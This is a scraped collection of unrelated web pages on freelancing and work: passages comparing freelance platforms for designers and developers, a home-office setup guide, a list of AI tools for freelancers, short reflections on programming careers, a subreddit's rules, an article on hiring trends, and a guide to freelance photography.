and spam (projects that seem too good to be true) Visibility doesn’t really improve even after upgrading to a Pro plan Platform costs Dribbble normally takes freelancers a 3.5% commission. But with a Pro plan, the commission drops to "zero". The Pro plan costs $16 monthly, and it is only $8 per month if you choose to pay annually. 3. Contra Contra is a social media-like job search and community network for designers. Who it’s best for | How it works Contra is ideal for designers who want to build an online presence to find work and grow their network Contra combines portfolio, services, sales, and a broad creative community. Its biggest competitor? Yes, the very similar Dribbble. Client-finding options are also similar (direct contact from your profile or job listings). The social, post-based interaction also feels a lot like Dribbble. However, Contra’s social side is more active and noticeable. People engage more, and the vibe feels closer to Twitter than Instagram. Features like $50K prize contests, written posts, mentions, and even reposts show that (some of which seem to be quite new). Key features Built-in contracts: send and manage invoices. AI portfolio builder: auto-generate case studies fast. Discoverable directory: appear in the client search hub. Multi-currency payments: supports PayPal, USDC, and deposits. All-in-one hub: manage work and payments together. Pro upgrade: custom domain and analytics. What freelancers think Contra Truspilot Score – 3.3 Freelancers like: Always 0% commission policy Modern, regularly updated interface The platform feels active overall Freelancers don’t like: Complicated onboarding with too many steps Constant pressure to upgrade to a paid plan Platform costs Contra doesn't charge you a commission on your earnings. However, many users claim that upgrading to the Pro plan feels almost obligatory. The Pro plan, which includes features like built-in AI, costs $199 per year or $29 per month. 👉🏻 Contra Guide 4- Designhill Designhill is a platform created for all kinds of creative professionals. Who it’s best for | How it works Designhill is great for designers who want to earn money in multiple ways. After creating a free account, you’ll need to build a strong portfolio. Be sure to include your best work samples, an “About” section, and your available services. This way, clients can hire you directly from your profile. You can also list your services similar to Fiverr gigs. For example, a minimal logo design for $300. In addition, you’re allowed to sell ready-made design materials like product mockups, social media templates, or whatever creative assets you offer. Key features One-to-one projects: Negotiate directly with clients. Weekly payouts: Withdraw via PayPal or Payoneer. Contest pool: Earn through open design contests. Vetted directory: Only approved designers work. Skills-filtered jobs: Browse niche-matched listings. Logo store: Sell pre-made designs for royalties. What freelancers think Designhill Trustpilot Score – 4.7 Freelancers praise: Secure payments and 24/7 support Freelancers complain about: Wasted effort if they don’t win contests Pressure to upgrade to a paid membership Platform costs The pricing structure is complicated, and there’s no clear data available. Best freelancing websites for developers 1. Arc Arc is both a freelance & remote job platform and a career network for developers. Who it’s best for | How it works Arc is suitable for developers at the mid and expert levels who want to work on overriding projects. Previously, Arc only accepted developers who applied for membership. Now, it accepts all developers. As a free member, you can now access Arc's remote job board and search and filter freelance and full-time listings to apply directly. But if you say, "I want to be matched to jobs," you must be "Verified." For this, Arc has an assessment that is "Silicon Valley-caliber" (communication/English, technical ability, etc.). Those who complete this process are tagged "Verified/Top 2%" and matched to clients. 🔑 To gain verification on Arc, ensure that your GitHub profile reflects active commits over the past 3 months and at least one production-level project (e.g., React + Node.js). During the interview, be comfortable explaining why you selected that architecture. Key features Pre-vetted pool: Tests ensure proven expertise. Flexible contracts: Choose hours and rates. Direct interviews: Meet hiring managers directly. Transparent specialties: 60+ skill categories listed. Global remote work: Open to all locations. Algorithm + human matching: Hybrid job pairing system. Trial periods: Short tests before full contracts. What freelancers think Arc Trustpilot Score – 4.5 Freelancers love: Curated talent pool and high-quality jobs Connections with prestigious clients Professional and solid support system Freelancers complain about: Long unclear vetting/onboarding process Low responses after applying Platform costs Arc never charges freelancers at any stage. 2. Codementor Cozementor is a platform for developers and aspiring developers to learn, find jobs, and provide mentorship. Who it’s best for | How it works Codementor is ideal for new developers who want to teach others, find clients, or get mentorship to improve their skills. You can use it in three ways as a developer or aspiring developer: Become a mentor → You need to apply to Codementor. Work as a freelancer → Apply to client projects, not to Codementor itself. Learn or improve your skills → No application required. Codementor combines learning and working. You can start as a student, then become a mentor or take on client projects as you grow. 🔑 To get accepted as a mentor, complete your profile fully and add your social and technical proofs. The platform accepts not only top developers but also those who show strong mentoring potential. Key features Vetted expert network: Screened for skill and communication. Live 1:1 sessions: Offer instant or scheduled help. Hybrid workflow: Combine mentoring and projects. Project-based work: Take fixed or hourly jobs. Global tech pool: Matches across time zones. Mentor brand boost: Gain credibility and exposure. Built-in tools: Live coding and code review support. Multi-engagement options: Choose session or long-term work. Mentor-to-freelance path: Grow into higher-value roles. What freelancers think Codementor Truspilot Score – 4.0 Freelancers love: A platform where your skills are valued and can stand out. It gives a sense of security, smooth payment processes, and professional use. Freelancers complain about: Platform commission is high for mentors – it can go up to 22%. One day work is great, the next day there might be none at all. Platform costs Codementor takes the mentor’s 15-minute session fee first, then starts charging per minute. Extra service fees are also deducted for each transaction. 3. Gun.io Gun.io is a prestigious freelancing platform designed for software developers. Who it’s best for | How it works Gun.io is ideal for freelancers who want to match with quality clients as verified software developers. Gun.io only allows top-tier developers into its network of talent via an application and review process. If you get in, you will automatically be matched with high-quality client projects. There’s no bidding process here, so you get to ditch the chase for clients. To begin with, it requests a talent profile: details about past work experiences, programming languages you are familiar with, preferences, etc. Then, they'll utilize the vetting process: a coding test a technical interview with a senior engineer a contract interview 🔑 Usually, they take in about 100 of the 1,000 applicants. However, to improve your chances, you want to stand out with experience, good communication, and soft skills on video interviews (camera background, your appearance, and your lateness). Key features Keep full rate: Freelancers keep 100% earnings. Rigorous vetting: Includes tests and interviews. Talent team support: Guided role introductions. Managed payments: Contracts and billing handled. Rate tool: Helps set competitive pricing. Vetted client pool: No open bidding system. Long-term contracts: Access to ongoing roles. What freelancers think Gun.io G2 Score: 4.5 Freelancers love: The chance to work on serious, long-term projects rather than micro-tasks The ability to set their own rates, which feels empowering Freelancers dislike: Submitting dozens of applications with zero response A selective and unclear vetting or approval process Frequent complaints like “I’m experienced, but still not getting picked” Platform costs Gun.io never charges developers at any stage, they only take fees from clients. However, they mention that their clients are willing to pay above-market rates for “high-quality” developers. FAQs 1. What is the best website for freelance work?

Follow our step-by-step guide to build a comfortable and efficient home office. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points If you’re a freelancer who works remotely, then you know how important the place where you work can be. If you’re in an uncomfortable or unprofessional setting, you might not be able to organize your time as effectively; crucial deadlines can creep up on you before your work is completed.To be the ultimate freelancer, you need to have the ultimate freelancing working environment. You need an ergonomic, practical, and efficient space with all the tools you need to perform your work. An ideal freelancing remote workspace will be comfortable, space-conscious, and intuitive so that it can be a catalyst to your success as opposed to an obstacle.In this how-to guide, we will discuss the fundamental parts of every freelancer’s home office step-by-step. By the time you finish reading, you’ll have a clear outline of how to build the ideal workspace for your freelancing career. Step 1: Find the right space The place where you work needs to be quiet and separate from your place of leisure. An unnecessary distraction like a TV or a screaming child makes it challenging to focus on your work and easier to waste time.Try to find a section of your house or apartment that is separated from all of these things. The ideal workspace is an extra room, but those who work from smaller flats and places with lots of clutter(with little open space) might not have that luxury.For these people, we recommend setting up a divider around your desk or a sectional curtain to create at least some physical separation between your living and work environment. Even something as simple as a desk in the corn can help. With two walls ahead of you, the only way for you to get distracted is if you turn around.The reason your desk should be separated from your place of leisure is purely about focus and productivity. Our brains associate our couch and our beds with relaxation, so any time spent working there won’t be as fast or focused as a desk and a chair. You might even consider a space with a standing desk without a chair taking up extra room.This transition (while it might be as simple as walking across the room) will also help you get into a ready-for-work headspace. While most people hate their commute , it can give you time for shifting from a personal to a professional perspective. Pro Tip: If you think there is no safe work area in your house, you can always try a coworking space. Co-working spaces are becoming more popular than ever with the rise of remote work, and they can be very affordable and convenient if they’re near to where you live.You can also try an audio separation. Get a pair of noise-canceling headphones, play your favorite music, or listen to some ambiance/white noise to help move you into a private mental space. Step 2: Equip your space The equipment you work with will play a vital role in how you work. While it might seem cost-effective to get the cheapest products you can find, you’ll quickly discover that the mental and physical health impact outweighs the pennies you’ll be saving.If you plan to work as a freelance remote worker for the foreseeable future, then you should emphasize the quality of your equipment. A wrong office chair or desk can put tremendous strain on your spine and back muscles. Over time your posture will suffer, and you can be susceptible to chronic pain.As a freelancer, you’ll need to equip your own office space, so it makes sense to understand a little about ergonomics. Ergonomics is an industry based around creating comfortable office furniture and practices that won’t hurt your health in the long run. A fully ergonomic workspace for freelance will include the necessary hardware: a mouse, keyboard, and a monitor. Having a desk with a keyboard tray can also help.Easy-to-follow rules like keeping the top of your monitor in line with your eyes and your hand positioned above your keyboard will save you from discomfort and make you more satisfied while working.You also have to consider how you mentally view your home office. Since this place is also your home, you’ll be spending almost all of your time there. If you know your workstation is uncomfortable, think about what will happen to your motivation to work. Freelancers are responsible for their motivation. Beyond a deadline, you will be the one who puts your butt in the chair and says, “get to work!” Because of this responsibility, we have to take any advantage we can to maintain our self-motivation. Pro Tip: If money is blocking your path to the ideal freelancing home office, then Growrk.com might be able to help. They have an extensive range of equipment, all of which are purchasable through a subscription plan.You shouldn’t let a big price tag prevent you from being comfortable and working efficiently. If you feel you need an extra monitor or a drawing pad, then you shouldn’t wait until you’ve saved enough for it. Instead, sign up with GroWrk, and you will get all your furniture right away and can pay it off over time through your monthly budget. Step 3: Find your necessary tools The software you employ as a freelancer will be your connection to your clients, your means to operate, and the source of your organization. It’s essential to find the top companies on the market that can progress your freelancing career and make your life easier.For a communication tool, you’ll need an application that is reliable and can handle all your needs in one place. An application like Microsoft Teams which has email, video calling, instant messaging, and task management capabilities, is excellent for a freelancer who has multiple clients and assignments to keep track of.Whatever software you choose for production should have cloud functionality. Whether you’re a freelance graphic designer or a freelance writer, it pays to have your work easily accessible for the client, so they can quickly approve or collaborate with you. Having to attach projects to an email is an extra step that costs a lot of time and will slow your progress as you wait for a response.We’ll talk more about this in the following step, but make sure you choose a calendar and a task management software that clearly labeled your tasks and is easily understood. It should also have different categories for group and independent work, primarily if your client uses multiple freelancers through the same portal. Pro Tip: One software that will help with your freelance business is Ruul.com. They are a one-stop shop for freelancers who want to run their own professional business. With their service, you can invoice your clients, get paid instantly, and secure your work from hackers and bad clients.If Ruul is handling the business side you will also want a solution to handle the equipment side . Nothing is more time-consuming than going through hundreds of products on Amazon trying to find the right desks or laptops for your business. Even worse is trying to figure how to get the tools delivered to your location without insane shipping fees. That is why there are services like GroWrk remote . You can choose from a wide selection of laptops, monitors, and ergonomic furniture delivered to anywhere in the world. Best of all, you can pay in 6-12 month installments!Also, try to focus on learning and downloading software that is the industry standard. Free and cheaper versions of elaborate software like Premier ( Filmora) and Photoshop (Photopea) may seem effective. Still, they will put you at a competitive disadvantage to freelancers already using the industry-standard software. Wrap Up The key to setting up the perfect workplace for freelancing is investing the necessary time and money. It can be tempting to set up your space and start working as soon as possible, but the best freelancers ignore that temptation.Once you have a comfortable workspace with everything you need to function, your satisfaction will speak for itself. You will finally be able to focus on your task at hand. You will look forward to starting your day. ABOUT THE AUTHOR Esen Bulut Esen Bulut is the co-founder of Ruul.

Get started See Example This is also a heading This is a heading Key Points Can AI tools boost your freelancing careers? No doubt! Well, but there are tons of tools and you may be wondering the best AI tools for freelancing in 2025. ‘Which one is for me?’ you ask. Don't worry though! With our list of AI tools, you will can create the best AI toolkit for your business. Top 12 AI tools for freelancers No fluff! It's time to learn about the best AI tools for freelancers. 1. ChatGPT You have already met with ChatGPT and you know that it is one of the best generative AI tools. It has 400 million users, and in the first days of its release, it took the top spot in the app stores. And still, no one can beat GPT-4o. How can ChatGPT help freelancers? ChatGPT helps freelancers with writing, editing, brainstorming, organizing, creating visuals, generating creative ideas and more. Let me tell you more in detail. ChatGPT is a master at simplifying complex things. When you don't understand something about your work, you can say: ''Simplify this for me'' or ''explain this to me like you would to a 5-year-old.'' Do you have a long PDF to read and analyze? If you are short on time, ChatGPT can summarize it to the length you want. Even if you are searching for a specific point in the PDF, you can say: ''List the application requirements in the PDF'' or something like that. You can also translate texts in over 50 languages, although it is not yet perfect. Instead of direct translation, it will satisfy you by translating the most accurate meaning in the target language. You can also use it to communicate with your foreign clients. Example prompt: ''Translate the text from English into German. Make it sound native in German using localization technique.'' If you are a developer, consult ChatGPT instead of manually looking for small problems. Do not underestimate this tool because it can write code and detect bugs in your code: Example prompt: ''Find and fix faults in my code. Make suggestions to improve performance.'' ChatGPT is a friend you can also ask for help with your career. If you’re on the verge of making an important decision about your job, you can ask ChatGPT to list the pros and cons of this decision for you. Example prompt: ''I'm thinking of focusing on marketing my own services. Which platforms are better to be active on and what are the advantages and disadvantages of each? Show me in a table.''

Grammarly Grammarly, as the name implies, fixes grammar mistakes in writing and gives suggestions for how to make improvements. Even though there are allegedly better alternatives, Grammarly is still one of the best applications in its segment. Since it was launched in 2009, it has built a loyal user base. On their website they say : ''Grammarly is the AI communication partner trusted by over 40 million people, 50,000 organizations, and people at 96% of the Fortune 500.'' How can Grammarly help freelancers? Grammarly is mainly designed to help freelancers to produce grammatically correct and readable content. Whether you write a blog or contact your clients, Grammarly makes your texts clear and easy to read. Getting your grammar and spelling just right can really make clients trust you more. So, to look more professional, give your messages a final check with Grammarly before hitting the send button. After you have written a text, it is tiring to look for small mistakes to correct. But Grammarly helps you spot them faster by marking errors in your file with red and yellow colors. So you can speed up the proofreading process. Grammarly also checks for plagiarism during proofreading, allowing you to get results and report them without the need for another plagiarism tool. If plagiarism is detected, you can fix it with a few quick changes. The favorable part is, you can integrate Grammarly with over 500,000 apps, making it easy to switch between different devices and apps. You can use it anywhere; Google Docs, Gmail, Asana, Slack, or Notion.

Today, it has become one of the best AI tools that is frequently used by more than 50 thousand businesses and many freelancers. One of the features that distinguishes Jasper from others is its compatibility with multitasking and its wide range of content templates. It's also worth noting that content can be produced to suit the jargon and user audience of almost every social media platform. How can Jasper AI help freelancers? Jasper AI assists you during and after the writing process, offering helpful recommendations.

It reports how much you focus on your work in weekly and monthly periods or how much time you spend on non-productive websites. Apart from time management, you can create tasks to follow your projects and track your progress within them. You can try different time tracking tools to improve your productivity and find which one works for you best.

Canva Ever wonder why Canva has rapidly spread its name? Because it simplifies graphic design elements incredibly. So much so that even people with no knowledge in design can create something. How can Canva help freelancers? Canva is a simplified graphic design AI tool that helps freelancers create unique visuals. It offers the chance to create infographics, AI-powered images, and content texts in the simplest way possible. With Canva, designers can give drafts that their non-designer clients can easily modify. Thus, clients can review the draft and make edits or share revision notes with the freelancer. Customers like that because it gives them flexibility. Although Canva has a lot of ready-made materials, you can use the AI-assisted image creation feature when you want to do something unique. Thus, your content becomes more original with elements that come from your own imagination. Canva is not just for pro designers. So even if you don't know anything, you can create not-so-bad designs to promote your freelance services on social media . After all, since freelancers market their own services, graphic design is sometimes required.

I used to think it was about drawing fancy diagrams and picking the latest frameworks. Then I learned its actually the opposite. Most of my time goes into subtraction not addition. Removing dependencies that nobody needs. Cutting connections between systems that shouldnt talk. Simplifying whats already there before building something new. The hardest part is saying no to complexity that feels exciting but solves yesterdays problem. Good architecture is invisible. When it works developers dont fight the system they flow with it. When it fails every change becomes a negotiation with technical debt. Heres what a typical week looks like for me. Monday a new requirement arrives that breaks three assumptions from last quarter. Back to the drawing board. Tuesday and Wednesday are deep work days. Sketching out how systems should interact or better yet how they shouldnt. Looking for the natural grain of the problem. Thursday is code reviews and design discussions. This is where theory meets reality. Developers will tell you very quickly if your elegant solution makes their lives harder. Friday is documentation. Not the kind nobody reads but the kind that answers why did we do it this way when Im not around. The real skill isnt knowing every design pattern or framework. Its knowing when NOT to use them. The best code is code you dont write. The best dependency is one you removed. The best architecture feels obvious in hindsight. Will I miss writing code every day? Probably. Theres something satisfying about seeing your function work perfectly at 2 AM. But theres a different satisfaction in seeing a system that ten developers can understand and extend without calling you. In building something that doesnt fall apart when requirements change and they always do. Thats the job. Not preventing change but making it possible. Do you think architects should stay hands on with code or is the distance helpful? Genuinely curious what others think.

I built things I cared about, experimented, and actually understood what I was making. Working as a programmer feels completely different. Real-world projects are rarely about clean design or interesting problems. Most of the time it’s legacy code, bad architecture, rushed deadlines, and fixing bugs in systems no one fully understands. Instead of building something meaningful, you’re gluing together hacks to keep a business running. Over time, this killed my motivation to code for fun at all.

Posting guidelines FAQ r/learnprogramming Rules 1 No unprofessional/derogatory speech Follow reddiquette : behave professionally and civilly at all times. Communicate to others the same way you would at your workplace. Disagreement and technical critiques are ok, but personal attacks are not. Abusive, racist, or derogatory comments are absolutely not tolerated. See our policies on acceptable speech and conduct for more details. Violations cause instant ban. 2 No spam or tasteless self-promotion When posting some resource or tutorial you've made, you must follow our self-promotion policies . In short, your posting history should not be predominantly self-promotional and your resource should be high-quality and complete. Your post should not "feel spammy". Self promotion from first time posters without prior participation in the subreddit is explicitly forbidden. When in doubt, message the mods and ask them to review your post. 3 No off-topic posts Do not post questions that are completely unrelated to programming, software engineering, and related fields. Tech support and hardware recommendation questions count as "completely unrelated". Questions that straddle the line between learning programming and learning other tech topics are ok: we don't expect beginners to know how exactly to categorize their question. See our policies on allowed topics for more details. 4 Do not ask exact duplicates of FAQ questions Do not post questions that are an exact duplicate of something already answered in the FAQ . If your question is similar to an existing FAQ question, you MUST cite which part of the FAQ you looked at and what exactly you want clarification on. 5 Do not delete posts Do not delete your post! Your problem may be solved, but others who have similar problems in the future could benefit from the solution/discussion in the thread. Use the "solved" flair instead. 6 No app/website review requests/app showcases Do not request reviews for, promote, or showcase some app or website you've written. This is a subreddit for learning programming, not a "critique my project" or "advertise my project" subreddit. Asking for code reviews is ok as long as you follow the relevant policies . In short, link to only your code and be specific about what you want feedback on. Do not include a link to a final product or to a demo in your post. 7 No rewards You may not ask for or offer payment of any kind (monetary or otherwise) when giving or receiving help. In particular, it is not appropriate to offer a reward, bounty, or bribe to try and expedite answers to your question, nor is it appropriate to offer to pay somebody to do your work or homework for you. 8 No indirect links All links must link directly to the destination page. Do not use URL shorteners, referral links or click-trackers. Do not link to some intermediary page that contains mostly only a link to the actual page and no additional value. For example, linking to some tweet or some half-hearted blog post which links to the page is not ok; but linking to a tweet with interesting replies or to a blog post that does some extra analysis is. Udemy coupon links are ok: the discount adds "additional value". 9 Do not promote illegal or unethical practices Do not ask for help doing anything illegal or unethical. Do not suggest or help somebody do something illegal or unethical. This includes piracy: asking for or posting links to pirated material is strictly forbidden and can result in an instant and permanent ban. Trying to circumvent the terms of services of a website also counts as unethical behavior. 10 No complete solutions Do not ask for or post a complete solution to a problem. When working on a problem, try solving it on your own first and ask for help on specific parts you're stuck with. If you're helping someone, focus on helping OP make forward progress : link to docs, unblock misconceptions, give examples, teach general techniques, ask leading questions, give hints, but no direct solutions. See our guidelines on offering help for more details. 11 Don't Ask To Ask Don't ask to ask. Ask your questions right here in the open subreddit. Show what you have tried and tell us exactly where you got stuck. We want to keep all discussion inside the open subreddit so that more people can chime in and help as well as benefit from the help given. 12 Low Effort Questions Do not ask easily googleable questions or questions that are covered in the documentation. This subreddit is not a proxy for documentation or google. We do require effort and demonstration of effort. This includes "how do I?" questions 13 AI generated No AI (chatGPT etc.) generated messages/comments. No questions about chatGPT/AI generated code. No VIBE CODING!

Written by Kaustubh Saini Edited by Jaya Muvania Reviewed by Kaivan Dave Updated on Dec 1, 2025 Read time 4 min read Comments https://www.finalroundai.com/blog/industries-least-affected-by-ai-2025 Link copied! While many industries face hiring slowdowns and layoffs, 4 sectors are ditching the trend. According to Indeed’s 2026 US Jobs & Hiring Trends Report , Banking & Finance, Marketing, Production & Manufacturing, and Therapy show promising growth patterns despite broader economic uncertainty. Let’s break down what’s happening in each sector and why these opportunities matter for job seekers right now. 1. Banking & Finance The banking and finance sector experienced a 5.4% increase in Job postings in October 2025. This boost is more than just traditional bank-teller or loan-officer roles. A recent industry-wide review shows that many openings are for tech and data-oriented roles like software engineers, data analysts or scientists, risk analysts, security engineers, and financial analysts are increasingly in demand. The driver behind this shift is structural. PwC’s research found that the demand for AI capabilities within the Financial Services sector is rising rapidly. Financial institutions are rapidly adopting digital banking, AI for fraud detection, algorithmic trading, and advanced data-driven services. Among all industries, Financial Services ranks just behind the IT sector in terms of AI skill requirements. In 2024, AI skills were required in 5.1% of all Financial Services job postings, a figure significantly higher than the industry average. AI is changing career roles in finance in a major way . Other than AI, regulatory requirements and stricter compliance are pushing banks to expand teams in compliance, risk, and audit, roles that are harder to automate. 2. Therapy Therapy actually saw an increase of 4.2% in job openings in October. According to a CNN analysis , employment growth in the mental health field is expected to be triple the projection for typical US jobs. The U.S. population is increasingly recognizing mental health as important. Workplace stress and burnout have reached critical levels. Companies are responding by investing heavily in mental health support as employees demand better well-being initiatives. The American Counseling Association reports that the U.S. behavioral health market is projected to grow by $49.3 billion in the next decade. Indeed’s report also reaffirmed that the healthcare sector is still contributing heavily to the job growth that happened this year. 3. Production & Manufacturing Manufacturing saw a minor jump in job postings of only 1.1%. In recent times, manufacturing is experiencing a high-tech revolution that’s creating new jobs requiring advanced skills. The National Association of Manufacturers projects that 3.8 million manufacturing jobs will need to be staffed over the next decade due to industry growth. Robert Half’s research shows that 58% of employers in the manufacturing industry are expanding their teams in 2025, hiring for both new and open positions. Industry 4.0 is driving hiring in this sector. This includes the ongoing digital transformation of manufacturing. Companies are modernizing operations with artificial intelligence, machine learning, robotics, digital twins, and 3D printing. This shift is creating surging demand for workers skilled in engineering, data analytics, and cybersecurity. Deloitte’s Manufacturing Industry Outlook predicts that investment in smart manufacturing will continue in 2026. The U.S. manufacturing industry could need as many as 3.8 million additional employees between 2024 and 2033. Even as demand rises, there is difficulty in attracting and retaining talent. Another factor boosting manufacturing jobs is Reshoring. Companies are moving production back to the United States. This trend, driven by policy incentives, is creating additional demand for skilled professionals. Many of these jobs are in high- or medium-tech manufacturing, reflecting a broader shift toward more advanced production processes rather than low-skill assembly lines. Also, demand for semiconductor manufacturing and data-centre related hardware domestically is are key factor in certain geographies. 4. Marketing Marketing saw a small 0.5% increase in new openings, according to Indeed’s report. Robert Half’s research reveals that 48% of marketing leaders plan to add new permanent roles in the second half of 2025. Even as the broader economy faces uncertainty, companies continue to invest in marketing. For them, marketing remains central to reaching changing consumer segments, especially in a constantly shifting economic and digital landscape. Top industries hiring for marketing roles include professional services, manufacturing and transportation, consumer products and e-commerce, and technology sectors. Interestingly, while entry-level listings are a bit shaky lately, senior marketing positions are holding up . Many firms are prioritizing experienced talent who can steer growth strategy and brand positioning. Also, the adoption of data-driven marketing is growing, which raises demand for marketers with analytical skills. Bottom Line For job seekers, the key is to target sectors with real growth. Whether you are starting your career or making a change , these sectors offer paths forward in an otherwise challenging job market. The labor market in 2025 isn’t collapsing, but it’s changing. The four sectors where job postings rose highlight where demand remains strong. From the Indeed Report, we can also see which sectors have seen a significant decline in new vacancies. These are IT & Technology, Scientific Research, Retail, Architecture, and Media & Communications. Upgrade your resume! Create a hireable resume with just one click and stand out to recruiters.

Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points The recording of images is a centuries-old technique. Historians discovered the oldest surviving photographic record in 1826 or 1827. Back then, most photographers were employed by studios, government agencies, and editorial companies. Fast forward to today, we have freelance photography—fully independent! Freelancer photographers can choose projects, capture the world on their terms, and be their boss. This autonomy is lucrative, and you can achieve it too. This piece highlights how to become a freelance photographer, giving you ten good reasons to be a freelancer . We’ll start with an understanding of photography and finish with how to build resilience and adaptability in the industry. Ready to learn? Let’s get started. Let’s get started. Understanding the Photography Market First, what is a freelance photographer, and who matches this persona? The simple answer is that freelance photography offers autonomous services. A freelance photographer is an independent, self-employed professional offering clients photography services. When you become a freelance photographer, you are responsible for everything from finding clients to taking shots and editing images. As a freelancer, you will work in a vast industry, and you can choose what suits you best. The available specialized freelance photographer jobs are in events, weddings, portraits, products, journalism, and real estate. Your goal here is to identify a niche you resonate with that has a market demand you can fulfill. To answer how much a freelance photographer makes, the earning potential varies. This variation depends on experience, location, and specialization. Unlike most professions, freelance photographers have no set salary; your income correlates to the rate you charge and the clients you secure. So, how do you become one? You become one through practice, dedication, hard work, and a strategic approach. Essential Gear and Equipment In the modern world, a freelance photographer’s definition is linked to the gear and equipment one has. While having the most expensive tools doesn’t guarantee prowess, having a good camera is essential. Start with a good camera, along with a zoom and prime lens. The prime lenses are best suited for low-light conditions. Depending on your niche, you might also need: Lighting setups to create dynamic lighting techniques. Tripods to stabilize the lighting and shooting equipment. Reflectors to create shadows and highlights for depth. Diffusers to reduce hard shadows and distribute light evenly. But that is not all! You must also invest in reliable external and cloud data storage devices. Lucky for you, today, with the many cloud-based tools available, you can use the likes of Photoshelter Store or Dropbox. Please remember that equipment care and maintenance are also essential. Clean the lenses regularly and store the equipment appropriately in shock-absorbing bags. Honing Your Photography Skills Becoming a freelance photographer begins with setting a solid foundation in the photography market. You set the foundation by mastering the following: Camera settings: Aperture, shutter speed, and ISO. Lighting setups: Natural and artificial lighting. Composition techniques: Leading lines, rule of thirds, symmetry, asymmetry, and negative space. Post-processing: Sharpening, exposure, white balancing, cropping, straightening, noise reduction, and color correction. You can enroll in a photography course or workshop or take online tutorials to learn and apply the above. After uncovering the basics, practice every chance you get, implementing everything you learn. If your chosen niche is product photography, practice taking pictures of different items in different locations with different lighting and compositions. The more you shoot, the better you grasp the essence of photography. Developing Your Unique Style After mastering gear and photography skills, it’s time to explore and develop your unique style. What sets you apart from other photographers? And what drives your passion? Finding your voice in the freelance photography business gives your art value. It will help you attract freelance photographer jobs that resonate with your artistic aesthetic. So, how do you land in a style? You can experiment with the different photography styles and see what tickles your fancy. The options available are portrait, landscape, street, macro, black and white, architectural, product, and food photography. Pick one, practice it under different lighting and composition settings, and see what resonates best. Refine your editing skills using the best tools. Also, stay updated with the current photography trends to match your chosen style. Remember, consistency is vital. Strive to deliver high-quality images to help you build your freelance photography portfolio and a solid client base. Setting Competitive Rates and Contracts Before making a portfolio, it’s best to set rates and draft contracts beforehand (so that you can include them there). Start by finding out the current prices for freelance photography in the area and your field. Consider your experience, the overhead costs, and the value you offer. Next, arrange your service bundles according to your clients' various wants and budgetary capacities. This gives the client the power to select what suits them best. Contracts are an additional safety that you should implement to protect your freelancing photography business. Consider consulting a lawyer to help outline project details, timelines, fees, cancellation policies, and copyright ownership within the contract. Finally, be open when dealing with different clients. Sometimes, clients negotiate a discount on your rates. Consider them if you are starting to gain experience, but ensure you still meet your goals. You are free to do as you choose if you are an expert in your field. Developing Your Freelance Photography Portfolio As a self-employed photographer, your work portfolio serves as your CV. It is the first touchpoint clients interact with, so it must display your best work. Here are a few steps to help you structure your photography portfolio: Select an audience: This helps you focus your services on a certain group of customers . Select the best pieces: Only use a few shots that speak volumes about your technical prowess. Prioritize quality over quantity. Choose a portfolio type: You can choose between a physical or a digital portfolio—the latter shines in this age. You can use specialized websites to display your digital portfolio. Wix, Squarespace, or Zenfolio are some website builders you can use. Marketing Yourself as a Freelance Photographer The freelance photography portfolio you built needs to be displayed, right? Some principles of photography marketing will guide you here. These are: Branding: Create logos using consistent colors and fonts across all platforms you use for your photography business. Content marketing: Consistently post content on all your client touchpoints. Use social media, blogs, and websites. Ensure you offer content beyond photos; share content on tips, hacks, behind-the-scenes, and a glimpse of your creative process. Networking: Connect with potential clients and industry experts through various mediums. Attend events and exhibitions, join freelance photographer communities, and collaborate with other freelancers. Optimizing: Make sure the visual appeal and SEO of your social media profiles and website are both strong points. The website should have an about me page, a contact page, and a photo blog section. Ensure it’s easy to navigate, both on a PC and mobile. Mastering the Art of Client Communication Marketing your freelance photography business gets you the client. Mastering client communication keeps them coming and inviting others. Here is how you do that: Actively listen: When dealing with clients, consider their vision and the project expectations. Take notes if you must. Ask clarifying questions and ensure your visions align before commencing the project. Establish definite routes for communication: Maintain a line of communication open at all times. Keep the client updated on the progress, disclosing any hurdles or delays you face. Exceed expectations: Ensure your freelance photography services are exceptional with every interaction. Deliver high-quality images on time. This will help you garner positive client testimonials you can use on your portfolio, social media, or websites. Once you follow the above steps, you can be assured of return business and impeccable business rapport. Building a Sustainable Business Imagine a business that survives the test of time and where you get to inspire and teach young aspiring creatives. This is achievable if you build a sustainable freelance photography business. If you would like this to be your story, consider adhering to the following: Track your finances: Being a loner in a lucrative business can be tempting, so don’t splurge. Instead, keep meticulous records of all your income and expenses to grasp your profitability fully. Employ accounting software or engage a financier or accountant to expedite the process. Don’t forget to save for taxes, too. Prioritize continuous learning: A sustainable freelance photography business relies on evolution. Stay ahead by taking online classes, learning new techniques, and attending workshops. Explore new freelancing trends in photography marketing, client retention, and more. Diversify your income channels: Beyond taking photos, explore selling online prints or digital downloads of your works. Offer freelancing photography training for a fee, or license your images to stock photo agencies. Building Resilience and Adaptability Becoming a freelance photographer is not for the weak. You will experience hectic times as well as slow periods. You will have sleepless nights with lingering deadlines and clients in your ear demanding more than what they paid for. To succeed in the freelance photography business, you must first build resilience. You will also have to become highly adaptable to the changing times. Here are some pointers to assist you: View challenges as opportunities to grow and improve. Learn from your mistakes. Never stop learning. Delegate work. Become the Best Freelance Photographer Ever! Becoming a freelance photography success is an attainable, lucrative, and adventure-filled exploration. Prioritize learning the basics and reinforce them with continuous learning. Never shy away from experimenting, because it gives you an edge. With dedication, perseverance, and these ten steps as your guide, you’ll be well on your way to capturing stunning images and a thriving freelance photography career.

